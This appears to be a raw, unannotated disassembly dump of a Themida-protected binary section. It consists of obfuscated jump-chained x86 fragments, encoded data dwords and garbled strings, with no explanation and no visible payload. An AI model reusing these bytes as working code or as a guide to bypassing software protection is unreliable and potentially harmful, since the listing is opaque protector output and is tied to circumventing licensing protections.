		dd 348B2434h, 4EC8124h,	89000000h, 0E2892414h, 4C281h
		dd 0D0E90000h, 81FFFF63h, 0F3D08EEh, 0DCC6814Eh, 0E9121957h
		dd 0FFFF8D85h, 4C281h, 0C2830000h, 24148704h, 2434FF5Ch
		dd 5624048Bh, 0C681E689h, 4, 8704C683h,	73E92434h, 89FFFF7Ah
		dd 9DE95EF5h
		db 3Ch,	2 dup(0)
byte_59C7D3	db 0ACh			; DATA XREF: Themida_:0058E2B0o
		dd 0FFDF31E9h, 5BC381FFh, 0E9642524h, 5512h, 4C7835Bh
		dd 2474FF57h, 48F5F04h,	68665C24h, 8966037Bh, 5253240Ch
		dd 0FFD80BE9h, 5EF701FFh, 5C243C87h, 0AAE95455h, 54FFFF99h
		dd 8B2434FFh, 54532414h, 4C3815Bh, 0E9000000h, 0FFFF56FBh
; ---------------------------------------------------------------------------


loc_59C824:				; CODE XREF: Themida_:005A1947j
		add	edi, 101024EBh
		mov	esi, [esp]
		jmp	loc_58FD67
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 1C72757Dh, 0EE81FE29h, 1C72757Dh, 7857685Fh,	14890000h
		dd 4466BA24h, 0B3E97FECh, 31FFFF5Ah, 34332434h,	34E95C24h
		dd 68FFFFD9h, 7AAEh, 53241489h,	0FE8837B7h, 0E9241C8Bh
		dd 0FFFF979Eh, 7003EE05h, 1BE95D6Eh
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59C87F:				; CODE XREF: Themida_:0059A384j
		pop	edx
		xor	ecx, ebp
		jmp	loc_590A67
; ---------------------------------------------------------------------------
		db 33h
		dd 0BBE9240Ch, 89FFFF50h, 37BD242Ch, 0E963041Bh, 4D9Ch
		dd 84DEA81h, 0F2295EE7h, 0FF9D3AE9h, 4EB81FFh, 87000000h
		dd 2EE9241Ch, 0BA000043h, 54DC76D0h, 8104E2C1h,	396E7FF2h
		dd 0D6895617h, 0FF4166E9h, 0E908B5FFh, 5D82h, 11710835h
		dd 0E9C53102h, 0FFFFEAEDh
; ---------------------------------------------------------------------------


loc_59C8E0:				; CODE XREF: Themida_:005A196Fj
		sub	edi, 5662334Ah
		pop	ebx
		jmp	loc_5969DA
; ---------------------------------------------------------------------------
		dd 4AA6E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C8F2:				; CODE XREF: Themida_:00592332j
		mov	esi, 4
		mov	eax, esi
		jmp	loc_598C3F
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 282BE6BCh, 34FFCB89h, 240C8B24h, 4C481h, 0E9570000h
		dd 0FFFF3020h, 2124248Bh, 0C20959C8h, 0A9E9E2D1h, 68FFFFB0h
		dd 8862BDD3h, 5FF9315Fh, 3159C831h, 0F30158C6h,	8324348Bh
		dd 0D98904C4h, 8B2434FFh, 3BE9241Ch, 81000026h,	4C6h, 4EE8100h
		dd 56000000h, 42474FFh,	24048F5Eh, 241C895Ch, 0FFFFBB53h
		dd 5C29FFFFh, 0FF5B0424h, 505B2434h, 405E089h, 0E9000000h
		dd 6753h, 0EF81DF01h, 1A7902B2h, 516E68h, 496BE900h, 0D7290000h
		dd 8324148Bh, 0F98904C4h, 65C3E9h, 0B0F78000h, 0FFCB15E9h
		dd 59C801FFh, 72195B05h, 57C8010Dh, 0FFEE47E9h,	242C89FFh
		dd 0C581E589h, 4, 8904EC83h, 4BE2434h, 29000000h, 0A0E95EF5h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C9D7:				; CODE XREF: Themida_:005A2101j
		mov	ch, 0D5h
		neg	ch
		push	ebx
		mov	bl, 71h
		jmp	loc_59CE00
; ---------------------------------------------------------------------------


loc_59C9E3:				; CODE XREF: Themida_:0059F822j
		push	edx
		mov	edx, 4
		jmp	loc_58E57F
; ---------------------------------------------------------------------------
aQs3S_		db 'QS³3µ\(Ýé.:',0
		db 0
; ---------------------------------------------------------------------------


loc_59C9FB:				; CODE XREF: Themida_:00597F83j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_58EB78
; ---------------------------------------------------------------------------
		dd 1690B850h, 46E91D88h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CA13:				; CODE XREF: Themida_:005A2E25j
		pop	esp
		inc	edi
		jmp	loc_58EF92
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 77FF5C24h, 2434FF1Ch, 81240C8Bh
dword_59CA28	dd 4C4h, 635B6800h, 40E90000h, 51000034h, 86EA968h, 0E9815911h
					; DATA XREF: Themida_:00581E7Co
		dd 64C55204h, 25DEC981h, 0D9F72A1Ah, 6B57C181h,	0CD89F123h
		dd 5DE80159h, 75E95352h, 81000053h, 4C4h, 0B76E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59CA6A:				; CODE XREF: Themida_:005A2C8Cj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59E2BF
; ---------------------------------------------------------------------------
dword_59CA80	dd 240C8B66h, 6DDC6850h, 24890000h, 4B85024h, 1000000h
					; DATA XREF: Themida_:0058E0E4o
		dd 0E9042444h, 682Ah, 27A7BA52h, 0F2816E9Bh, 53545B93h
		dd 814ADAF7h, 5E3FEEF2h, 0C6EA8155h, 0E939E766h, 0FFFF7B06h
		dd 0B905C2BAh, 5AD30162h, 7E0EBD55h, 0B951531Eh, 782C602Ah
		dd 52E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_59CAD5:				; CODE XREF: Themida_:005A09E4j
		add	esp, 4
		jmp	loc_5A2A9C
; ---------------------------------------------------------------------------
		db 0B9h, 0BAh, 50h
		dd 0CF317766h, 0E9240C8Bh, 0FFFF42C3h, 70DA0559h, 0E955722Dh
		dd 0FFFFBD78h, 4E0868h,	24048900h, 716582B8h, 5DB95162h
		dd 8168012Dh, 50375F1h,	0C1814967h, 250210D7h, 8104E9C1h
		dd 0BBA9A3C1h, 0C8C98137h, 0E92E7F62h, 0FFFF804Ch, 535BD929h
		dd 71676DBBh, 0E4F38167h, 0E96A5B00h, 0FFFFB057h
; ---------------------------------------------------------------------------


loc_59CB40:				; CODE XREF: Themida_:0059E71Cj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 17A9017Dh
		dec	edi
		jmp	loc_594F57
; ---------------------------------------------------------------------------
		dd 5D2434FFh, 4B6D68h, 0FAC7E900h, 0C229FFFFh, 24148758h
		dd 2F8BE95Ch, 0C330FFFFh, 0FF48DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59CB75:				; CODE XREF: Themida_:00597700j
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_595851
; ---------------------------------------------------------------------------
		db 31h,	0C3h, 0E9h
		dd 0FFFFEEA1h
; ---------------------------------------------------------------------------


loc_59CB8C:				; CODE XREF: Themida_:005A0EE3j
		add	esp, 4
		push	edx
		jmp	loc_59F916
; ---------------------------------------------------------------------------


loc_59CB95:				; CODE XREF: Themida_:005980A0j
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		jmp	loc_59A39F
; ---------------------------------------------------------------------------
		dd 0E9EB015Eh, 0FFFF2E41h, 0DCE9EA01h, 81FFFFA4h, 3B3517E5h
		dd 0AF21E906h, 3540FFFFh, 632947B2h, 0FF6DD6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59CBC5:				; CODE XREF: Themida_:005953FFj
		pop	esi
		jmp	loc_5A2A6B
; ---------------------------------------------------------------------------
		db 55h
		dd 42474FFh, 24048F5Dh,	8124248Bh, 4C6h, 2BA5200h, 1000000h
		dd 34875AD6h, 0D3665C24h, 0E99C242Ch, 0FFFF175Fh
; ---------------------------------------------------------------------------


loc_59CBF4:				; CODE XREF: Themida_:0059E6F0j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5A26EA
; ---------------------------------------------------------------------------
dword_59CC0C	dd 240C8B66h, 7E8A68h, 24148900h, 9BE9E289h, 6800005Ah
					; DATA XREF: Themida_:0058E0B4o
		dd 2E03h, 0FFDF28E9h, 0F7EA81FFh, 817DAB32h, 593AB7CAh
		dd 7BF2815Fh, 295A3FBFh, 0F1015AD1h, 44CCC181h,	93E92544h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CC4B:				; CODE XREF: Themida_:00591F95j
		xor	edx, 0EF90373h
		pop	edi
		add	ebx, edx
		jmp	loc_59939D
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 4
		dd 87000000h, 35E9240Ch, 0C1FFFFA0h, 6807E0h, 81000000h
		dd 3149242Ch, 4291FBCh,	24048124h, 1FBC3149h, 582434FFh
		dd 4C481h, 0FC2D0000h, 15E142Fh, 2434FFC5h, 54E95058h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CC9B:				; CODE XREF: Themida_:0059407Fj
		sub	eax, ebx
		jmp	loc_59F1B7
; ---------------------------------------------------------------------------
		dw 6856h
		dd 285470C3h, 0FF8FC0E9h, 0BB5357FFh, 4, 815BDF89h, 963BD9C3h
		dd 81FB0178h, 963BD9EBh, 0AA3BE978h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CCCA:				; CODE XREF: Themida_:005A0A2Cj
		xor	edi, esi
		pop	esi
		jmp	loc_590006
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0EF2DE95Eh, 0DEF7FFFFh, 0FF2EA6E9h, 0BF5750FFh
		dd 3D970100h, 95FF889h,	9EE958C7h, 83FFFFE2h, 348704EEh
		dd 0D8E95C24h, 0BFFFFF46h, 6CBC0AD7h, 65F1CF81h, 0EFC15FBAh
		dd 0BAF78107h, 81125127h, 93015FE9h, 81F9015Bh,	93015FC1h
		dd 243C8B5Bh, 0C13E9h, 87EB8000h, 0C380CB28h, 0EB805987h
		dd 36B0E946h, 0E5C10000h, 0E0BE5602h, 0E90A3861h, 5FD8h
		dd 9E3577BDh, 5DE90116h, 5DFC88BBh, 8BCB01F2h, 0C483240Ch
		dd 5BDE8904h, 2CB1C681h, 685705F1h, 3D8550E9h, 8BFE215Fh
		dd 0F3E9243Ch
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59CD7B:				; CODE XREF: Themida_:00598105j
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	324Eh
		jmp	loc_592727
; ---------------------------------------------------------------------------
		db 21h,	0D6h, 0E9h
		dd 0FFFF7410h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		sub	ecx, 24453AD6h
		push	ebx
		push	0C6Eh
		mov	[esp], ebp
		mov	ebp, 24953CF0h
		xor	ebp, 0AFA0E46h
		push	ebp
		pop	ebx
		pop	ebp
		sub	ecx, 0A1B3362h
		sub	ecx, ebx
		add	ecx, 0A1B3362h
		pop	ebx
		add	ecx, 655B00F5h
		sub	ecx, ebp
		sub	ecx, 655B00F5h
		push	esi
		jmp	loc_5A186A
; ---------------------------------------------------------------------------


loc_59CE00:				; CODE XREF: Themida_:0059C9DEj
		neg	bl
		sub	bl, 79h
		jmp	loc_59C038
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 51000000h,	9D6C14B9h, 10F18153h, 1539D6Ch
		dd 3C8759CFh, 24248B24h, 4EC81h, 4EE90000h, 89FFFF24h
		dd 0FCE9241Ch, 2900003Dh, 222DE9DEh, 0E95A0000h, 0FFFF15D4h
		dd 4240481h, 8F000000h,	4812404h, 424h,	240C8B00h, 0FFE4C8E9h
		dd 8B5451FFh, 57E9240Ch, 0B9000018h, 309C1CC1h,	1F5BE56h
		dd 0F1211092h, 7DE9525Eh, 81FFFF6Ch, 0E15030EFh, 23C7811Eh
		dd 0E9476B16h, 0FFFF3123h, 0FF1C4F21h, 0E9592434h, 0FFFFFFC5h
		dd 875AD001h, 248B2404h, 2434FF24h, 8B2434FFh, 0C481240Ch
		dd 4, 0E904C483h, 0FFFF7484h
; ---------------------------------------------------------------------------


loc_59CEBC:				; CODE XREF: Themida_:00597105j
		mov	ebx, 3A400E68h
		inc	ebx
		and	ebx, 6E0C5C20h
		jmp	loc_59B6F5
; ---------------------------------------------------------------------------


loc_59CECD:				; CODE XREF: Themida_:005A0706j
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_5A22C4
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BA241489h, 69EF2F10h, 34FFD301h,	3620E924h
		db 2 dup(0)
word_59CF12	dw 77FFh		; DATA XREF: Themida_:0058E300o
		dd 1439E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CF1A:				; CODE XREF: Themida_:005A0018j
		pop	cx
		sub	al, ch
		push	ebx
		mov	bh, 0A6h
		jmp	loc_591443
; ---------------------------------------------------------------------------
		dw 8358h
		dd 535704C4h, 0C381E389h, 4, 4B850h, 9AE90000h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CF3F:				; CODE XREF: Themida_:0059E0B0j
		not	dh
		sub	dh, 5Ah
		sub	dh, 0
		or	ch, dh
		pop	edx
		inc	ch
		inc	ch
		xor	ch, 0FAh
		add	dl, ch
		jmp	loc_5945AA
; ---------------------------------------------------------------------------
		dd 665EEB80h, 5024048Bh, 405E089h, 83000000h, 0FF5002C0h
		dd 58042474h, 5C24048Fh, 592434FFh, 0E9E78957h,	0FFFF208Ah
		dd 4BB53h, 0DA290000h, 2414875Bh, 0FF8744E9h, 0BEB951FFh
		dd 0E93D4C64h, 0FFFF8D85h
; ---------------------------------------------------------------------------


loc_59CF9C:				; CODE XREF: Themida_:00594517j
		xor	al, 90h
		or	dh, al
		pop	eax
		push	cx
		mov	cl, 0FFh
		sub	dh, cl
		pop	cx
		jmp	loc_597756
; ---------------------------------------------------------------------------


loc_59CFAE:				; CODE XREF: Themida_:0059BE90j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59286D
; ---------------------------------------------------------------------------


loc_59CFB7:				; CODE XREF: Themida_:0058FDA3j
		mov	bh, cl
		pop	ecx
		mov	ch, bh
		jmp	loc_594C71
; ---------------------------------------------------------------------------
aRh		db 'Rh¿$',0
		dw 8900h
		dd 0B951242Ch, 4FB00314h, 0FFE699E9h
		db 0FFh
byte_59CFD5	db 66h,	8Bh, 4		; DATA XREF: Themida_:0058E260o
		dd 6986824h, 5BE90000h,	2DFFFF8Ah, 0E749C3h, 8158C601h
		dd 4EEh, 24348700h, 241C895Ch, 0D1723A68h, 0EC815B5Ch
		dd 4, 0BA241489h, 2B7205A9h, 22ADF281h,	0CA814AEDh, 620D2C64h
		dd 0FFA9E4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D01D:				; CODE XREF: Themida_:0059E990j
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	dl, cl
		xor	cl, dl
		jmp	loc_594457
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 223F0CDCh, 0DFCCC381h, 0E405B394h, 142E377h,	77E42DD8h
		dd 0F6E942E3h, 53FFFF4Dh, 55B1E954h, 0C483FFFFh, 241C3304h
		dd 33241C31h, 0ABE9241Ch
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D06F:				; CODE XREF: Themida_:005974D7j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59A7D0
; ---------------------------------------------------------------------------
		dd 4C481h, 0E9810000h, 251528B0h, 331E055Eh, 1CE9427Ah
		dd 81FFFF8Fh, 4C1h, 720EE900h, 5351FFFFh, 4451E9h
		db 0
byte_59D0A9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0058E204o
		dd 0E92434FFh, 0FFFFB230h, 5AD0295Bh, 8904EC83h, 0FDE9241Ch
		dd 50000025h, 5CA9BB53h, 0CB81496Dh, 7E2445A7h,	5024E381h
		dd 0C38174F8h, 0DFA0968h, 0E2DCE956h, 0E94AFFFFh, 2B18h
		dd 5804C483h, 2B29E9h, 0F664B200h, 10F280DAh, 0F280D2F6h
		dd 9E28067h, 8076F280h,	0EAC0ACE2h, 0E9DAF604h,	0FFFF2A36h
		dd 2414F753h, 0FF80BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D119:				; CODE XREF: Themida_:0059FF91j
		xor	edx, 3715772Ah
		not	edx
		xor	edx, 0EF15980Fh
		sub	edi, 2F8336C1h
		add	edi, 6FAF0F31h
		add	edi, edx
		sub	edi, 6FAF0F31h
		add	edi, 2F8336C1h
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	4C5Ch
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58F4C4
; ---------------------------------------------------------------------------
		dd 0D6E9C201h, 66FFFFC7h, 0E8E99C50h
		db 11h,	2 dup(0FFh)
aN1Hz		db '­1Øh§',27h,0        ; DATA XREF: Themida_:0058E1E8o
		dw 8900h
		dd 6B682414h, 89000043h, 0BE56242Ch, 1F55268Eh,	0FFDB6FE9h
		dd 5BDC88FFh, 88E28852h, 80585AD5h, 0ED805AEDh,	80DD00A4h
		dd 0C580A4C5h, 241C8B5Ah, 0FF499DE9h, 0D13405FFh, 0C329DC4Eh
		dd 1C875858h, 20E95C24h, 81FFFF34h, 0D437C1EFh,	2434FF72h
		dd 4C4835Eh, 8704C783h,	73E9243Ch, 66000023h, 6645F668h
		dd 66241C89h, 0AA242C81h, 665D6616h, 16AAC581h,	0FF65D6E9h
		dd 0C8015BFFh, 83240C8Bh, 48704C4h, 24248B24h, 0E99CC885h
		dd 0FFFF114Fh
; ---------------------------------------------------------------------------


loc_59D204:				; CODE XREF: Themida_:0058FEFEj
		and	edx, ebp
		pop	ebp
		jmp	loc_593A93
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 8953241Ch, 4C381E3h, 55000000h, 4BDh, 0B56BE900h
		dd 8852FFFFh, 8BF488EEh, 0C4832414h, 240C8B04h,	4C481h
		dd 0E4C00000h, 52F48003h, 34FFE520h, 0C4835824h, 62F58004h
		dd 0C8BEA88h, 0CA96E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D256:				; CODE XREF: Themida_:005A2171j
		mov	bh, 8Ch
		and	cl, bh
		mov	bx, [esp]
		add	esp, 2
		dec	cl
		jmp	loc_594FC4
; ---------------------------------------------------------------------------
		dd 2D83E281h, 0EA81632Dh, 2105007Fh, 148BD001h,	4C48324h
		dd 5C240487h, 0FF8947E9h
		db 0FFh
byte_59D285	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0058E27Co
		dd 1164E924h, 0C2810000h, 6909F8A7h, 0FF125CE9h, 0D0E681FFh
		dd 0E921427Ah, 539Fh, 17AE27B9h, 59CA29ACh, 77E9D689h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D2B3:				; CODE XREF: Themida_:0058F452j
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_59F8E1
; ---------------------------------------------------------------------------
		db 0BBh, 0DEh, 20h
		dd 0E3C16EB1h, 84B85006h, 153B7C8h, 0F5E958C3h,	81FFFFF0h
		dd 19E8F2C2h, 5AD7010Dh, 4A7DEF81h, 0E95B3B30h,	3123h
		dd 5C243487h, 1BC7E9h, 5AD02900h, 603CE981h, 3DE90124h
		db 13h,	2 dup(0FFh)
byte_59D30F	db 55h			; DATA XREF: Themida_:0058E118o
		dd 0C5815D54h, 4, 4B850h, 0D1E90000h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D323:				; CODE XREF: Themida_:00590070j
		add	esp, 4
		jmp	loc_597F0E
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 81242489h, 42404h, 348B0000h, 4C48324h, 4C681h, 5BE90000h
		db 83h,	2 dup(0FFh)
off_59D34F	dd offset loc_40FB67+1	; DATA XREF: Themida_:0058E2D0o
		align 4
		dd 54242C89h, 0FF8A78E9h
		db 0FFh
byte_59D35D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0058E1B4o
		dd 4EC8324h, 0E9240C89h, 0FFFF5063h, 4C14E956h,	872D0000h
		dd 0E93D8326h, 0FFFF7B23h, 5AE9EB01h, 5EFFFF75h, 5158C131h
		dd 0B7240481h, 5B1ECE6Ch, 6CB7EB81h, 0C8B1ECEh,	4C48124h
		dd 0E9000000h, 0FFFF0FAFh, 0EB19F105h, 1EE98119h, 532A7206h
		dd 434A57BBh, 6ACB816Dh, 0E97D6C43h, 0FFFFD8A4h, 0FFCD3159h
		dd 83592434h, 0E5C104C4h, 67BE905h, 52530000h, 8851E688h
		dd 0EBF0E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D3DE:				; CODE XREF: Themida_:00599DC8j
		add	esp, 4
		jmp	loc_5A0CF2
; ---------------------------------------------------------------------------
		dw 0D800h
		dd 0C4AAE95Bh, 0E95DFFFFh, 0FFFF64A1h, 425868h,	240C8900h
		dd 6240481h, 5D48AF3Eh,	3E06ED81h, 0D6E948AFh, 8BFFFF3Fh
		dd 1FE9240Ch, 81FFFF63h, 0C264B1C7h, 5444E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D422:				; CODE XREF: Themida_:005960F7j
		or	eax, 169A7D68h
		push	ecx
		mov	ecx, 3F3712D5h
		xor	eax, ecx
		pop	ecx
		xor	eax, 419862EDh
		push	ebx
		mov	ebx, 601D74F6h
		sub	ebx, 597B6FC8h
		or	ebx, 3694101Dh
		sub	ebx, 289E2A7Fh
		push	esi
		mov	esi, 88EBC6F9h
		jmp	loc_596628
; ---------------------------------------------------------------------------


loc_59D458:				; CODE XREF: Themida_:005961F4j
		pop	edx
		add	ebp, 4
		jmp	loc_59FDB8
; ---------------------------------------------------------------------------
		dd 4C381h, 44E90000h, 50FFFF3Eh, 32276856h, 0E95E5610h
		dd 0FFFFC35Dh, 72E95153h, 8100005Ch, 0F5159DC2h, 0A9CA811Bh
		dd 8115CA5Dh, 0B727A7E2h, 0A5EA817Dh, 0E942A007h, 0FFFFF789h
; ---------------------------------------------------------------------------


loc_59D4A0:				; CODE XREF: Themida_:0059E744j
		or	eax, eax
		jz	loc_5A1B89
		push	edx
		push	6058h
		mov	[esp], edi
		jmp	loc_591C89
; ---------------------------------------------------------------------------
word_59D4B6	dw 34FFh		; DATA XREF: Themida_:0058E298o
aSo		db '$é®#',0
		align 2
		dw 0C281h
		dd 4, 4EA81h, 14870000h, 89E95C24h, 89FFFFAAh, 0E9512414h
		dd 0FFFF55D4h, 5204C483h, 4EC81h, 34E90000h, 5CFFFFDAh
		dd 0FF413BE9h, 24148BFFh, 4C481h, 0C3810000h, 40C04B56h
		dd 0EB81FB01h, 40C04B56h, 5FB85052h, 89422C0Eh,	5FE958C2h
		dd 3100004Ch, 0E7E9241Ch, 81000046h, 5747C4EFh,	0BB535111h
		dd 3DBA321Fh, 0BF57h, 0DF290000h, 89E9FB89h, 56000056h
		dd 4BEh, 8BF00100h, 90E92434h, 89FFFFDFh, 0E789243Ch, 4BF5753h
		dd 89000000h, 0ACE95FFBh, 0FFFFFFB0h, 81582434h, 4C4h
		dd 0E2895200h, 4C281h, 0A6E90000h, 0C0FFFFA8h, 536605ECh
		dd 0FC28C5B7h, 0CEE95B66h, 50FFFFE5h, 4B8h, 5EFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D592:				; CODE XREF: Themida_:00596B3Dj
		mov	[esp], ecx
		xchg	ebp, [esp]
		jmp	loc_59ED83
; ---------------------------------------------------------------------------


loc_59D59D:				; CODE XREF: Themida_:005945ABj
		neg	dl
		inc	dl
		sub	dl, 0D4h
		sub	bl, dl
		mov	edx, [esp]
		add	esp, 4
		add	bl, 16h
		sub	bl, al
		jmp	loc_59E7D7
; ---------------------------------------------------------------------------
aTsi		db 'Té¨*',0
		dw 0B900h
		dd 72266A9Dh, 159CE01h,	9DEE81C6h, 0E972266Ah, 0FFFF1431h
		dd 4C18159h, 0E9000000h, 0FFFFA40Ch, 31243433h,	34332434h
		dd 24248B24h, 3FC168h, 241C8900h, 0FF0E52E9h, 241489FFh
		dd 9EE9E289h, 8BFFFF64h, 0C481243Ch, 4,	4C181h,	0C330000h
		dd 240C3124h, 8B240C33h, 68E92424h, 5BFFFFAEh, 0FF889FE9h
		dd 1C875AFFh, 24248B24h, 0E92424D3h, 0FFFFC49Eh
; ---------------------------------------------------------------------------


loc_59D638:				; CODE XREF: Themida_:005A1AEDj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 700E2851h
		jmp	loc_59B444
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFF6A34h, 0B9E9DE29h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D657:				; CODE XREF: Themida_:005A1606j
		pop	ebp
		push	ebp
		jmp	loc_5A0BF3
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 4C7835Dh, 5C243C87h,	0C8B5451h, 6C56E924h
		db 2 dup(0FFh)
word_59D672	dw 148Bh		; DATA XREF: Themida_:0058E190o
aHoz		db '$hŽz',0
		align 2
aI4Siq		db '‰4$éiQ',0
		align 2
		dw 0F168h
		dd 89000028h, 3DE9240Ch
		db 20h,	2 dup(0)
byte_59D68F	db 66h			; DATA XREF: Themida_:0058E098o
		dd 5224048Bh, 2434FF54h, 4C4815Ah, 68000000h, 1C5Dh, 83240489h
		dd 0ABE904ECh
		db 0A6h, 2 dup(0FFh)
byte_59D6AF	db 0FFh			; DATA XREF: Themida_:0058E138o
		dd 34FF2434h, 3C30E924h, 0D7F70000h, 0CE81FE87h, 65B05672h
		dd 3EFDE9h, 0C4835800h,	8BD50104h, 0C4812414h, 4, 2081E9h
		dd 90E95900h, 52FFFF92h, 0FFA258E9h, 4C781FFh, 81000000h
		dd 4EFh, 243C8700h, 48F545Ch, 0DEE95624h, 88FFFF25h, 0C4E959CAh
		dd 29FFFFCAh, 2434FFD8h, 492E9h, 0DFE95A00h, 53000003h
		dd 4E0610BBh, 3EEEE901h, 0D5F7FFFFh, 0BE56D5F7h, 154B1D63h
		dd 1794EE81h, 0E6D161E6h, 0AAE9DEF7h, 83FFFFCCh, 876804C4h
		dd 0E9000053h, 0FFFF7F9Dh, 0F181D1F7h, 0D7DCC158h, 0FF8A4BE9h
		dd 0EE06BFFFh, 0FE293107h, 0E9F3295Fh, 0FFFFDEEDh
; ---------------------------------------------------------------------------


loc_59D768:				; CODE XREF: Themida_:005A143Bj
		or	ebp, 697430E2h
		xor	ebp, 8117035h
		sub	ebp, 135DEFC6h
		or	edx, ebp
		pop	ebp
		jmp	loc_5A20A5
; ---------------------------------------------------------------------------
		dw 0CCE9h
		dd 89FFFF0Bh, 48B82404h, 0C14E6A42h, 0E94002E8h, 4BF9h
		dd 0C581E589h, 4, 3304C583h, 2C31242Ch,	242C3324h, 95FAE95Ch
		dd 1487FFFFh, 1C895C24h, 55E95224h, 81FFFFD9h, 0EC69E7C7h
		dd 81F7011Fh, 0EC69E7EFh, 78C7811Fh, 0E979055Eh, 0FFFF7BA9h
		dd 2EE9425Ah, 0C1FFFF4Ch, 0BB5306E9h, 60454972h, 0FF74D3E9h
		dd 88D588FFh, 0D88859EBh, 2050E9h
		db 0
; ---------------------------------------------------------------------------


loc_59D7F9:				; CODE XREF: Themida_:005A2074j
		xor	bl, 0F5h
		xor	dl, bl
		pop	ebx
		push	12B1h
		mov	[esp], ecx
		mov	ch, dl
		jmp	loc_598F80
; ---------------------------------------------------------------------------
		dw 0E968h
		dd 5E03C45Bh, 0FF6721E9h, 4C283FFh, 0FFED3EE9h,	4EC83FFh
		dd 0E9243C89h, 3C63h, 28AFEF2Dh, 58C701B5h, 5C243C87h
		dd 2159CA29h, 24148BD1h, 68E68956h, 1F24h, 0BB241C89h
		dd 4, 815BDE01h, 4C6h, 24348700h, 0C124248Bh, 2FE900E9h
		dd 0BD000057h, 5BAC45ABh, 815DEE31h, 760953EFh,	81F70128h
		dd 760953C7h, 0C7835E28h, 243C8704h, 0A1C2E95Ch, 835FFFFFh
		dd 0BA5204C4h, 251628E4h, 815AD629h, 666CB8C6h,	0E9DE014Eh
		dd 0FFFF3EAFh
; ---------------------------------------------------------------------------


loc_59D8A4:				; CODE XREF: Themida_:00592985j
		pop	esp
		jmp	loc_59A14E
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 81242C8Bh, 4C4h, 2B85000h, 81000000h, 0C63DC5EFh, 50C70106h
		dd 9615DB8h, 5AAA050Ch,	0BE053D84h, 1BD3881h, 335858C7h
		dd 3C31243Ch, 0EBCBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D8E2:				; CODE XREF: Themida_:0058E8DAj
		push	ecx
		mov	cl, 72h
		or	cl, 3Ah
		shr	cl, 2
		dec	cl
		push	1440h
		mov	[esp], ebx
		jmp	loc_599996
; ---------------------------------------------------------------------------
		dw 0C229h
		dd 4087C281h, 0C2812414h, 6B616F0h, 582434FFh, 0FF8502E9h
